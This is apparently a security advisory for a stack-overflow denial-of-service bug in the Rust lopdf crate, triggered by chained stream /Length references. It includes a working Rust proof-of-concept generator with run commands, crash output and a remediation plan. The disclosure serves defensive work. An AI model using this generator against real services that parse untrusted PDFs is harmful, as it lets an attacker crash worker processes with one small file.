# GHSA-4597-5X94-X3XG: lopdf stack overflow via a chain of stream /Length references

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-11-12
- Modified: 2026-11-12

## Affected versions

- lopdf (crates.io): through 0.47.0

## Description

### Details

`lopdf::Document::load_mem` aborts with a stack overflow on a PDF whose stream dictionaries form a chain of `/Length` references, in the current release 0.47.0. RUSTSEC-2026-0187 / GHSA-6fj4-rcr3-r7rr fixed unbounded recursion over nested PDF arrays and dictionaries in 0.42.0 by threading `MAX_NESTING_DEPTH` (100) through `_direct_object`, `array`, `_dictionary` and the content-stream operand parser (`src/parser/mod.rs:338,375,514,538,769,802`; `src/reader.rs:404`). The stream parser resolves a stream's `/Length` entry with `reader.get_object(id, already_seen)` (`src/parser/mod.rs:432-438`); `Reader::get_object` parses the referenced object (`src/reader.rs:1269-1283`), which reaches `object()` and hence `stream()` again. That recursion carries no depth counter: a PDF with N objects, each `<< /Length <N+1> 0 R >> stream ... endstream`, recurses N frames deep while loading object 1. The repository later bounded other recursion paths (issue #530/#531 object-graph depth, #532/#533 `/Pages` tree, #576 object-stream cycles), but none of those touches the `/Length` resolution in `stream()`.

Executed against the published crate: lopdf 0.47.0 (crates.io, 2026-11-04) with a 93,888-byte PDF of 1,200 chained stream objects aborts with `thread '<unknown>' has overflowed its stack` / `fatal runtime error: stack overflow, aborting`, process exit 134 (SIGABRT). The same generator with 1,100 links (86,055 bytes) loads and reports 1,100 objects. The abort is the same class the advisory names: a stack-overflow abort, not a `panic!`, so `catch_unwind` cannot contain it. 0.42.0, the advisory's patched version, overflows at 1,300 links; 0.41.0 overflows at 2,000, the fix's per-object depth parameter having lowered the frame budget on this path rather than closing it.

### Proof of concept

```
Build the crate: `cargo new poc-lopdf && cd poc-lopdf`, set `lopdf = "=0.47.0"` in Cargo.toml, use `src/main.rs` below (it builds the PDF in memory: object 1..N, each `"<id> 0 obj\n<< /Length <id+1> 0 R >>\nstream\nA\nendstream\nendobj\n"`, last object `/Length 1`, then an xref table and trailer with `/Root 1 0 R`).
`cargo build --release && ./target/release/poc-lopdf 1200` -> `built 93888 bytes, 1200 stream links` then `thread '<unknown>' has overflowed its stack` / `fatal runtime error: stack overflow, aborting`; the process exits 134 (SIGABRT).
Control in the same binary: `./target/release/poc-lopdf 1100` -> `LOADED: 1100 objects`, exit 0. The same source built against `lopdf = "=0.42.0"` overflows at 1,300 links and loads at 1,200; against `=0.41.0` it overflows at 2,000 and loads at 1,300.
Minimal reproducer shape (a PDF is a sequence of indirect objects plus xref): `1 0 obj << /Length 2 0 R >> stream\nA\nendstream endobj`, `2 0 obj << /Length 3 0 R >> stream\nA\nendstream endobj`, ... `1200 0 obj << /Length 1 >> stream\nA\nendstream endobj`.
```

`src/main.rs` (the generator that produced the 93,888-byte PDF above):

```rust
// PoC: a PDF whose stream dictionaries form a chain of /Length references.
//
// RUSTSEC-2026-0187 (GHSA-6fj4-rcr3-r7rr) fixed unbounded recursion over nested
// arrays/dictionaries in lopdf 0.42.0 by threading MAX_NESTING_DEPTH through
// `_direct_object`, `array` and `_dictionary`. The stream parser resolves a
// stream's `/Length` entry with `Reader::get_object`, and that call parses the
// referenced object through `object()`, so a chain of stream objects whose
// `/Length` points at the next one recurses once per link with no depth bound.
// This builds the chain and loads it.
//
//   cargo run --release -- <links>

use std::io::Write;

fn build_pdf(links: usize) -> Vec<u8> {
    let mut out = Vec::new();
    out.extend_from_slice(b"%PDF-1.7\n%\xE2\xE3\xCF\xD3\n");
    let mut offsets = Vec::with_capacity(links + 1);
    offsets.push(0usize);
    for id in 1..=links {
        offsets.push(out.len());
        if id == links {
            // terminal stream: /Length is a plain integer
            out.extend_from_slice(format!("{} 0 obj\n<< /Length 1 >>\nstream\nA\nendstream\nendobj\n", id).as_bytes());
        } else {
            // /Length points at the next object, which is itself a stream whose
            // /Length points at the one after it, ...
            out.extend_from_slice(format!("{} 0 obj\n<< /Length {} 0 R >>\nstream\nA\nendstream\nendobj\n", id, id + 1).as_bytes());
        }
    }
    let xref_at = out.len();
    out.extend_from_slice(format!("xref\n0 {}\n", links + 1).as_bytes());
    out.extend_from_slice(b"0000000000 65535 f \n");
    for id in 1..=links {
        out.extend_from_slice(format!("{:010} 00000 n \n", offsets[id]).as_bytes());
    }
    out.extend_from_slice(format!("trailer\n<< /Size {} /Root 1 0 R >>\nstartxref\n{}\n%%EOF\n", links + 1, xref_at).as_bytes());
    out
}

fn main() {
    let links: usize = std::env::args().nth(1).and_then(|s| s.parse().ok()).unwrap_or(100_000);
    let pdf = build_pdf(links);
    eprintln!("built {} bytes, {} stream links", pdf.len(), links);
    let mut sink = std::io::stderr();
    let _ = writeln!(sink, "loading...");
    match lopdf::Document::load_mem(&pdf) {
        Ok(doc) => eprintln!("LOADED: {} objects", doc.objects.len()),
        Err(e) => eprintln!("REJECTED: {e:?}"),
    }
}
```

### Impact

Denial of service: any service that parses an untrusted PDF with lopdf 0.47.0 or earlier can be aborted by a 94 KB file. The crash is a stack-overflow abort (SIGABRT), not a catchable Rust panic, so a request handler cannot contain it; a worker thread or the process dies. No authentication or special configuration is required, and the document is structurally valid PDF (a stream dictionary whose `/Length` is an indirect reference is legal, ISO 32000-1 7.3.8.2).

### Remediation

Thread a depth counter through the `/Length` reference resolution: `stream()` (`src/parser/mod.rs:432`) should pass the remaining depth into `reader.get_object`, and `Reader::get_object`/`read_object` (`src/reader.rs:1269`) should decrement and reject at the limit with an `Err`, as `_direct_object` already does for arrays and dictionaries. Alternatively, bound the number of objects resolved on a single reference chain the way issue #531 bounded the object graph. No released version carries the fix: 0.47.0 (crates.io, 2026-11-04) is the latest and is affected; the fix should ship in a release >= 0.48.0. A regression test with the 1,200-link chain above would have caught it; the existing `deeply_nested_array_is_rejected` test exercises only `_direct_object`.

## References

- https://github.com/J-F-Liu/lopdf/security/advisories/GHSA-4597-5x94-x3xg

Page: https://cve.now/GHSA-4597-5X94-X3XG

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
